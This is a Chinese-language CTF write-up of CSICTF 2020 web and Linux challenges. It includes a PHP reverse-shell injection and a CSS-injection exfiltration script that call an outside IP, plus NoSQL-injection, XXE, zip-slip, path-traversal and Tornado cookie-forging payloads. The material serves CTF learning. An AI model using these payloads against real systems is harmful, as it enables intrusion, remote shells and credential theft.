2020-07-26
4.5k
CSICTF2020 Web+Linux Writeup
在ctfhub上面看到这个比赛,介绍里面说是面向萌新的,做了一下,题目确实比较友好,可以拿来练练手,而且到目前为止题目环境还没有关闭。很简单的题目就说一个考点略过去。。。。
https://ctf.csivit.com/challenges
https://github.com/csivitu/ctf-challenges
Web
Warm Up
考察SHA1弱类型比较
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php if (isset ($_GET['hash' ])) { if ($_GET['hash' ] === "10932435112" ) { die ('Not so easy mate.' ); } $hash = sha1($_GET['hash' ]); $target = sha1(10932435112 ); if ($hash == $target) { include ('flag.php' ); print $flag; } else { print "csictf{loser}" ; } } else { show_source(__FILE__ ); } ?>
Cascade
F12直接Network查看CSS文件。
Oreo
考察Cookie
Mr Rami
这个题是真的坑。。。。真会玩
直接查看robot.txt就行。。
Secure Portal
考察JS代码混淆
一堆被混淆后的JS代码
1 var _0x575c=['\x32\x2d\x34' ,'\x73\x75\x62\x73\x74\x72\x69\x6e\x67' ,'\x34\x2d\x37' ,'\x67\x65\x74\x49\x74\x65\x6d' ,'\x64\x65\x6c\x65\x74\x65\x49\x74\x65\x6d' ,'\x31\x32\x2d\x31\x34' ,'\x30\x2d\x32' ,'\x73\x65\x74\x49\x74\x65\x6d' ,'\x39\x2d\x31\x32' ,'\x5e\x37\x4d' ,'\x75\x70\x64\x61\x74\x65\x49\x74\x65\x6d' ,'\x62\x62\x3d' ,'\x37\x2d\x39' ,'\x31\x34\x2d\x31\x36' ,'\x6c\x6f\x63\x61\x6c\x53\x74\x6f\x72\x61\x67\x65' ,];(function (_0x4f0aae,_0x575cf8 ) {var _0x51eea2=function (_0x180eeb ) {while (--_0x180eeb){_0x4f0aae['push' ](_0x4f0aae['shift' ]());}};_0x51eea2(++_0x575cf8);}(_0x575c,0x78 ));var _0x51ee=function (_0x4f0aae,_0x575cf8 ) {_0x4f0aae=_0x4f0aae-0x0 ;var _0x51eea2=_0x575c[_0x4f0aae];return _0x51eea2;};function CheckPassword (_0x47df21 ) {var _0x4bbdc3=[_0x51ee('0xe' ),_0x51ee('0x3' ),_0x51ee('0x7' ),_0x51ee('0x4' ),_0x51ee('0xa' )];window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x2 ]]('9-12' ,'BE*' );window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x2 ]](_0x51ee('0x2' ),_0x51ee('0xb' ));window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x2 ]](_0x51ee('0x6' ),'5W' );window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x2 ]]('16' ,_0x51ee('0x9' ));window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x2 ]](_0x51ee('0x5' ),'pg' );window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x2 ]]('7-9' ,'+n' );window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x2 ]](_0x51ee('0xd' ),'4t' );window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x2 ]](_0x51ee('0x0' ),'$F' );if (window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x1 ]](_0x51ee('0x8' ))===_0x47df21[_0x51ee('0x1' )](0x9 ,0xc )){if (window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x1 ]](_0x51ee('0x2' ))===_0x47df21['substring' ](0x4 ,0x7 )){if (window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x1 ]](_0x51ee('0x6' ))===_0x47df21[_0x51ee('0x1' )](0x0 ,0x2 )){if (window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x1 ]]('16' )===_0x47df21[_0x51ee('0x1' )](0x10 )){if (window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x1 ]](_0x51ee('0x5' ))===_0x47df21[_0x51ee('0x1' )](0xc ,0xe )){if (window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x1 ]](_0x51ee('0xc' ))===_0x47df21[_0x51ee('0x1' )](0x7 ,0x9 )){if (window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x1 ]](_0x51ee('0xd' ))===_0x47df21[_0x51ee('0x1' )](0xe ,0x10 )){if (window [_0x4bbdc3[0x0 ]][_0x4bbdc3[0x1 ]](_0x51ee('0x0' ))===_0x47df21[_0x51ee('0x1' )](0x2 ,0x4 ))return !![];}}}}}}}return ![];}
用在线工具解密一下
http://www.jsnice.org/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 'use strict' ;var _0x575c = ["2-4" , "substring" , "4-7" , "getItem" , "deleteItem" , "12-14" , "0-2" , "setItem" , "9-12" , "^7M" , "updateItem" , "bb=" , "7-9" , "14-16" , "localStorage" ];(function (data, i ) { var validateGroupedContexts = function fn (selected_image ) { for (; --selected_image;) { data["push" ](data["shift" ]()); } }; validateGroupedContexts(++i); })(_0x575c, 120 ); var _0x51ee = function PocketDropEvent (ballNumber, opt_target ) { ballNumber = ballNumber - 0 ; var ball = _0x575c[ballNumber]; return ball; }; function CheckPassword (results ) { var easing = [_0x51ee("0xe" ), _0x51ee("0x3" ), _0x51ee("0x7" ), _0x51ee("0x4" ), _0x51ee("0xa" )]; window [easing[0 ]][easing[2 ]]("9-12" , "BE*" ); window [easing[0 ]][easing[2 ]](_0x51ee("0x2" ), _0x51ee("0xb" )); window [easing[0 ]][easing[2 ]](_0x51ee("0x6" ), "5W" ); window [easing[0 ]][easing[2 ]]("16" , _0x51ee("0x9" )); window [easing[0 ]][easing[2 ]](_0x51ee("0x5" ), "pg" ); window [easing[0 ]][easing[2 ]]("7-9" , "+n" ); window [easing[0 ]][easing[2 ]](_0x51ee("0xd" ), "4t" ); window [easing[0 ]][easing[2 ]](_0x51ee("0x0" ), "$F" ); if (window [easing[0 ]][easing[1 ]](_0x51ee("0x8" )) === results[_0x51ee("0x1" )](9 , 12 )) { if (window [easing[0 ]][easing[1 ]](_0x51ee("0x2" )) === results["substring" ](4 , 7 )) { if (window [easing[0 ]][easing[1 ]](_0x51ee("0x6" )) === results[_0x51ee("0x1" )](0 , 2 )) { if (window [easing[0 ]][easing[1 ]]("16" ) === results[_0x51ee("0x1" )](16 )) { if (window [easing[0 ]][easing[1 ]](_0x51ee("0x5" )) === results[_0x51ee("0x1" )](12 , 14 )) { if (window [easing[0 ]][easing[1 ]](_0x51ee("0xc" )) === results[_0x51ee("0x1" )](7 , 9 )) { if (window [easing[0 ]][easing[1 ]](_0x51ee("0xd" )) === results[_0x51ee("0x1" )](14 , 16 )) { if (window [easing[0 ]][easing[1 ]](_0x51ee("0x0" )) === results[_0x51ee("0x1" )](2 , 4 )) { return !![]; } } } } } } } } return ![]; } ;
其实可以直接看checkPassword函数,下面这一块应该是给元素赋值
1 2 3 4 5 6 7 8 window[easing[0]][easing[2]]("9-12", "BE*"); window[easing[0]][easing[2]](_0x51ee("0x2"), _0x51ee("0xb")); window[easing[0]][easing[2]](_0x51ee("0x6"), "5W"); window[easing[0]][easing[2]]("16", _0x51ee("0x9")); window[easing[0]][easing[2]](_0x51ee("0x5"), "pg"); window[easing[0]][easing[2]]("7-9", "+n"); window[easing[0]][easing[2]](_0x51ee("0xd"), "4t"); window[easing[0]][easing[2]](_0x51ee("0x0"), "$F");
下面这一块就是检查密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 if (window [easing[0 ]][easing[1 ]](_0x51ee("0x8" )) === results[_0x51ee("0x1" )](9 , 12 )) { if (window [easing[0 ]][easing[1 ]](_0x51ee("0x2" )) === results["substring" ](4 , 7 )) { if (window [easing[0 ]][easing[1 ]](_0x51ee("0x6" )) === results[_0x51ee("0x1" )](0 , 2 )) { if (window [easing[0 ]][easing[1 ]]("16" ) === results[_0x51ee("0x1" )](16 )) { if (window [easing[0 ]][easing[1 ]](_0x51ee("0x5" )) === results[_0x51ee("0x1" )](12 , 14 )) { if (window [easing[0 ]][easing[1 ]](_0x51ee("0xc" )) === results[_0x51ee("0x1" )](7 , 9 )) { if (window [easing[0 ]][easing[1 ]](_0x51ee("0xd" )) === results[_0x51ee("0x1" )](14 , 16 )) { if (window [easing[0 ]][easing[1 ]](_0x51ee("0x0" )) === results[_0x51ee("0x1" )](2 , 4 )) { return !![]; } } } } } } } } return ![];
但是可以看到密码被拆分成很多部分,而且不是按0,1,2,3…顺序来的。_0x51ee
我们不知道是什么变量,但是可以通过这两部分结合来看,发现元素赋值和检查密码的顺序是一样的,也就是说9-12位是BE*
,4-7位是_0x51ee("0xb")
,并且4-7
对应_0x51ee("0x2")
,再回过头来看一下_0x575c
数组,刚好_0x575c[0x02]=4-7
。以此类推,可以得到密码5W$Fbb=+nBE*pg4t^7M
。
Baby Count
考察文件包含+命令执行
robots.txt
提示有一个checkpass.php
文件,并且可以利用wrapper文件包含
checkpass.php
1 2 3 4 5 6 <?php $password = "w0rdc0unt123" ; echo "IMPORTANT!!! The page is still under development. This has a secret, do not push this page." ;header('Location: /' );
wc.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <!DOCTYPE html> <html lang="en" > <head> <meta charset="UTF-8" > <meta name="viewport" content="width=device-width, initial-scale=1.0" > <meta http-equiv="X-UA-Compatible" content="ie=edge" > <title>wc as a service</title> <style> html, body { overflow: none; max-height: 100 vh; } </style> </head> <body style="height: 100vh; text-align: center; background-color: black; color: white; display: flex; flex-direction: column; justify-content: center;" > <?php ini_set('max_execution_time' , 5 ); if ($_COOKIE['password' ] !== getenv('PASSWORD' )) { setcookie('password' , 'PASSWORD' ); die ('Sorry, only people from csivit are allowed to access this page.' ); } ?> <h1>Character Count as a Service</h1> <form> <input type="hidden" value="wc.php" name="file" > <textarea style="border-radius: 1rem;" type="text" name="text" rows=30 cols=100 ></textarea><br /> <input type="submit" > </form> <?php if (isset ($_GET["text" ])) { $text = $_GET["text" ]; echo "<h2>The Character Count is: " . exec('printf \'' . $text . '\' | wc -c' ) . "</h2>" ; } ?> </body> </html>
把cookie中的password改成w0rdc0unt123
,就可以输入text了
来看一下后端的处理逻辑:
1 2 3 4 5 6 <?php if (isset ($_GET["text" ])) { $text = $_GET["text" ]; echo "<h2>The Character Count is: " . exec('printf \'' . $text . '\' | wc -c' ) . "</h2>" ; } ?>
很明显$text
参数是可以注入的。payload如下:
反弹一个shell
1 '; php -r '$sock=fsockopen("47.97.199.89",11000);exec("/bin/sh -i <&3 >&3 2>&3");' #
全局查找一下flag文件
/ctf/system/of/a/down/flag.txt
显示权限不够
README里面有一段Hash加密的值,送到工具里面去识别是MD5加密,放到网上去跑没有拍出来,看其他的wp是csictf
切换成ctf用户
The Confused Deputy
考察CSS注入
脚本生成payload
1 2 3 4 5 6 f = open("poc.css" , "w" ) dic = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}-" for i in dic: payload = '''#000000;} input[type=password][value^="''' + i + '''"]{background-image:url("http://47.97.199.89:8888/?flag=''' + i + '''");} ''' f.write(payload + "\n" ) f.close()
放到burp intrude模块爆破
在VPS上监听端口
逐次爆破各个位置得到flag。
File Library
题目直接给了源代码server.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 const express = require ('express' );const path = require ('path' );const fs = require ('fs' );const app = express();const PORT = process.env.PORT || 3000 ;app.listen(PORT, () => { console .log(`Listening on port ${PORT} ` ); }); app.get('/getFile' , (req, res ) => { let { file } = req.query; if (!file) { res.send(`file=${file} \nFilename not specified!` ); return ; } try { if (file.includes(' ' ) || file.includes('/' )) { res.send(`file=${file} \nInvalid filename!` ); return ; } } catch (err) { res.send('An error occured!' ); return ; } if (!allowedFileType(file)) { res.send(`File type not allowed` ); return ; } if (file.length > 5 ) { file = file.slice(0 , 5 ); } const returnedFile = path.resolve(__dirname + '/' + file); fs.readFile(returnedFile, (err ) => { if (err) { if (err.code != 'ENOENT' ) console .log(err); res.send('An error occured!' ); return ; } res.sendFile(returnedFile); }); }); app.get('/*' , (req, res ) => { res.sendFile(__dirname + '/index.html' ); }); function allowedFileType (file ) { const format = file.slice(file.indexOf('.' ) + 1 ); if (format == 'js' || format == 'ts' || format == 'c' || format == 'cpp' ) { return true ; } return false ; }
页面内还给了两个提示:
ok.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 console .log('Welcome to my sample javascript program!' );[] == ![]; false == []; false == ![]; console .log("b" + "a" + +"a" + "a" ); NaN === NaN ; (![] + [])[+[]] + (![] + [])[+!+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]]; document .all instanceof Object ; typeof document .all; Number .MIN_VALUE > 0 ; [1 , 2 , 3 ] + [4 , 5 , 6 ]; console .log('View more: https://github.com/denysdovhan/wtfjs' );
a.cpp
1 2 3 4 #include <stdlib.h> int main() { system("cat flag.txt"); }
应该就是尝试利用server.js读取flag.txt。
审计源代码,主要是由两个关键的处理:
文件类型必须是js, ts, c, cpp
1 2 3 4 if (!allowedFileType(file)) { res.send(`File type not allowed` ); return ; }
取文件名的前五位
1 2 3 if (file.length > 5 ) { file = file.slice(0 , 5 ); }
最后用path.resolve
拼接成最终路径。
payload就直接给出来了,反正我是没想到的。。。
1 /getFile?file[]=f&file[]=4&file[]=k&file[]=e&file[]=/../flag.txt&file[]=.&file[]=js
利用数组来绕过,node.js会解析成
1 file[] = ["f","4","k","e","/../flag.txt",".","js"]
这样就可以绕过后缀名和文件长度的检查。
这里还利用了path.resolve
的一个特性
The method creates absolute path from right to left until an absolute path is constructed
该方法从右到左创建绝对路径,直到构造了绝对路径。
也就是执行完下面的语句
1 const returnedFile = path.resolve(__dirname + '/' + ["f" ,"4" ,"k" ,"e" ,"/../flag.txt" ]);
结果就是__dirname+'/'+'/../flag.txt'
The Usual Suspects
考察tornado模板注入+生成cookie secret
很明显存在模板注入漏洞,用{{7*'7'}}
验证一下
查看当前网页的cookie
1 "2|1:0|10:1595941408|5:admin|8:ZmFsc2U=|bfe7af9eba0d5c6717c341e50fd8660db4e4fccbce187a20c1236205df3e3171"
ZmFsc2U=
是false
的base64编码
题目提示要拿secret,用{{config}}
直接报错
Google一下tornado cookie secret
https://www.tornadoweb.org/en/stable/web.html#tornado.web.Application.settings
用global()
查看当前全局变量
用application.settings
获取cookie_secret
用脚本生成tornado cookies
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import hmacimport hashlibfrom typing import ( Dict, Any, Union, Optional, Awaitable, Tuple, List, Callable, Iterable, Generator, Type, cast, overload, ) _UTF8_TYPES = (bytes, type(None )) unicode_type = str def utf8 (value: Union[None, str, bytes] ) -> Optional[bytes]: """Converts a string argument to a byte string. If the argument is already a byte string or None, it is returned unchanged. Otherwise it must be a unicode string and is encoded as utf8. """ if isinstance(value, _UTF8_TYPES): return value if not isinstance(value, unicode_type): raise TypeError("Expected bytes, unicode, or None; got %r" % type(value)) return value.encode("utf-8" ) def _create_signature_v2 (secret: Union[str, bytes], s: bytes ) -> bytes: hash = hmac.new(utf8(secret), digestmod=hashlib.sha256) hash.update(utf8(s)) return utf8(hash.hexdigest()) def format_field (s: Union[str, bytes] ) -> bytes: return utf8("%d:" % len(s)) + utf8(s) to_sign = b"|" .join( [ b"2" , format_field("0" ), format_field("1595249713" ), format_field("admin" ), format_field("dHJ1ZQ==" ), b"" , ] ) print(to_sign + _create_signature_v2('MangoDB\n' ,to_sign))
用这个更换原始的cookie,拿到flag。
CCC
考察文件包含+JWT
在右侧菜单栏中Our Admins
和Login
不能直接点开,但是通过源代码可以看到链接了两个地址:/adminNames
和/login
。
访问/adminNames
直接下载了一个文件,里面是一个github仓库地址:https://github.com/csivitu/authorized_users/blob/master
访问/login
是一个登录界面,随便输入admin:admin
,返回包中有一个JWT token
拿到jwt.io解码一下
1 2 3 4 5 6 { "username": "nqzva", "password": "nqzva", "admin": "snyfr", "iat": 1595922746 }
nqzva
用ROT13解密得到admin
,snyfr
用ROT13解密得到flase
,并且不管输入什么用户名和密码,都是相同的token,那么现在就需要拿到secret。
回头再来看/adminNames
,发现了一个文件包含
那么久可以读取node.js的环境变量../.env
,拿到secret
1 JWT_SECRET=Th1sSECr3TMu5TN0Tb3L43KEDEv3RRRRRR!!1
生成token
通过扫描目录得到/admin
,访问返回:
1 {"success":false,"message":"Invalid Token, Headers?"}
通过Authorization
字段发送请求包
ROT13解密得到flag。
Linux
AKA
大部分的命令都设置了alias,但是bash命令没有。
find32
感觉这题脑洞还是挺大的。。
SSH登录后有很多文件,内容也是随机的字母,32在ASCII码中代表空格字符,那么在CTF的flag中就是_
来代替。
写一个脚本传到靶机上去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import ospath = "/user1/" files = os.listdir(path) for file in files: if not os.path.isdir(file): try : with open(path+file, 'r' ) as f: print('[+]' + path + file) for line in f.readlines(): if '_' in line: print(file) except FileNotFoundError: print('[-]' + file) continue
打开这个文件,提示要用user2来登录
ssh登录之后,当前目录下有几个文件,文件大小类似,用diff命令一个个比较一下
HTB 0x01
nmap扫描出5001端口运行ftp服务,直接anonymous登录拿flag。
HTB 0x02~0x05
nmap扫描端口
1 2 22/tcp open ssh 3000/tcp open http
先来看看3000端口,访问http://34.93.215.188:3000/,有一个登录框
先用1 or 1=1
, 1' or 1=1 --
,';-#$()
来测试是不是SQL注入,结果直接返回No user with username: ';-#$() and password: ';-#$()
。再用burp fuzz一下常用的payload发现是NoSQL注入,直接用万能密码:
1 username[$ne]=ca01h&password[$ne]=ca01h
具体原理可以参考另外一篇博文:NoSQL注入之MongoDB
登录成功后跳转到上传页面
上传一个zip文件,再查看源代码,得到HTB 0x02的flag
看到可以用不用的数据格式提交查询,有一个是XML,用下面的payload看看是否存在XXE注入
1 <?xml version="1.0"?> <!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd' > ]> <root > &test; </root >
发现/etc/passwd
暗藏一个gist地址:https://gist.github.com/sivel/c68f601137ef9063efd7
是一个管理SSH Key的工具,里面提到了两个文件,/usr/local/bin/userkeys.sh
和/etc/sshd/sshd_config
。分别用上面的XXE payload看一下文件内容
/etc/sshd/sshd_config
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 # This is the sshd server system-wide configuration file. See # sshd_config(5) for more information. # This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin # The strategy used for options in the default sshd_config shipped with # OpenSSH is to specify options with their default value where # possible, but leave them commented. Uncommented options override the # default value. Include /etc/ssh/sshd_config.d/*.conf #Port 22 #AddressFamily any #ListenAddress 0.0.0.0 #ListenAddress :: #HostKey /etc/ssh/ssh_host_rsa_key #HostKey /etc/ssh/ssh_host_ecdsa_key #HostKey /etc/ssh/ssh_host_ed25519_key # Ciphers and keying #RekeyLimit default none # Logging #SyslogFacility AUTH #LogLevel INFO # Authentication: #LoginGraceTime 2m #PermitRootLogin prohibit-password #StrictModes yes #MaxAuthTries 6 #MaxSessions 10 #PubkeyAuthentication yes # Expect .ssh/authorized_keys2 to be disregarded by default in future. #AuthorizedKeysFile\t.ssh/authorized_keys .ssh/authorized_keys2 #AuthorizedPrincipalsFile none # csictf{cu5t0m_4uth0rizat10n} AuthorizedKeysCommand /usr/local/bin/userkeys.sh AuthorizedKeysCommandUser nobody # For this to work you will also need host keys in /etc/ssh/ssh_known_hosts #HostbasedAuthentication no # Change to yes if you don't trust ~/.ssh/known_hosts for # HostbasedAuthentication #IgnoreUserKnownHosts no # Don't read the user's ~/.rhosts and ~/.shosts files #IgnoreRhosts yes # To disable tunneled clear text passwords, change to no here! PasswordAuthentication no #PermitEmptyPasswords no # Change to yes to enable challenge-response passwords (beware issues with # some PAM modules and threads) ChallengeResponseAuthentication no # Kerberos options #KerberosAuthentication no #KerberosOrLocalPasswd yes #KerberosTicketCleanup yes #KerberosGetAFSToken no # GSSAPI options #GSSAPIAuthentication no #GSSAPICleanupCredentials yes #GSSAPIStrictAcceptorCheck yes #GSSAPIKeyExchange no # Set this to 'yes' to enable PAM authentication, account processing, # and session processing. If this is enabled, PAM authentication will # be allowed through the ChallengeResponseAuthentication and # PasswordAuthentication. Depending on your PAM configuration, # PAM authentication via ChallengeResponseAuthentication may bypass # the setting of \"PermitRootLogin without-password\". # If you just want the PAM account and session checks to run without # PAM authentication, then enable this but set PasswordAuthentication # and ChallengeResponseAuthentication to 'no'. UsePAM yes #AllowAgentForwarding yes #AllowTcpForwarding yes #GatewayPorts no X11Forwarding yes #X11DisplayOffset 10 #X11UseLocalhost yes #PermitTTY yes PrintMotd no #PrintLastLog yes #TCPKeepAlive yes #PermitUserEnvironment no #Compression delayed #ClientAliveInterval 0 #ClientAliveCountMax 3 #UseDNS no #PidFile /var/run/sshd.pid #MaxStartups 10:30:100 #PermitTunnel no #ChrootDirectory none #VersionAddendum none # no default banner path #Banner none # Allow client to pass locale environment variables AcceptEnv LANG LC_* # override default of no subsystems Subsystem\tsftp\t/usr/lib/openssh/sftp-server # Example of overriding settings on a per-user basis #Match User anoncvs #\tX11Forwarding no #\tAllowTcpForwarding no #\tPermitTTY no #\tForceCommand cvs server"
其中包含了HTB 0x05的flag:csictf{cu5t0m_4uth0rizat10n}
接着看/usr/local/bin/userkeys.sh
1 2 3 4 5 6 7 #!/bin/bash if [ \"$1\" == \"csictf\" ]; then cat /home/administrator/uploads/keys/* else echo \"\" fi
题目的意思应该要我们上传一个Public Key到/home/administrator/uploads/keys/
,然后用ssh登录,能上传的地方就只有之前那个zip upload。看赛后的wp,这里用到的是zip slip漏洞:Zip Slip Vulnerability
先在本机上生成一个ssh public key,然后特殊的zip压缩文件,上传
1 2 3 $ ssh-keygen -t rsa #filename:my_key $ 7z a zip-slip.zip my_key.pub $ 7z rn zip-slip.zip my_key.pub '../../../../../../../../../../home/administrator/uploads/keys/dunsp4rce.pub'
返回{success: true}
再ssh登录,在当前目录下得到HTB 0x03的flag
接着就是去/home
目录下找各种文件了
在/home/administrator/website/models/db.js
中发现HTB 0x06的flag。
并且还给出了mongodb登录的口令
拿到HTB 0x04的flag。
Reference
https://dunsp4rce.github.io/csictf-2020/
https://github.com/team0se7en/CTF-Writeups/tree/master/csictf2020/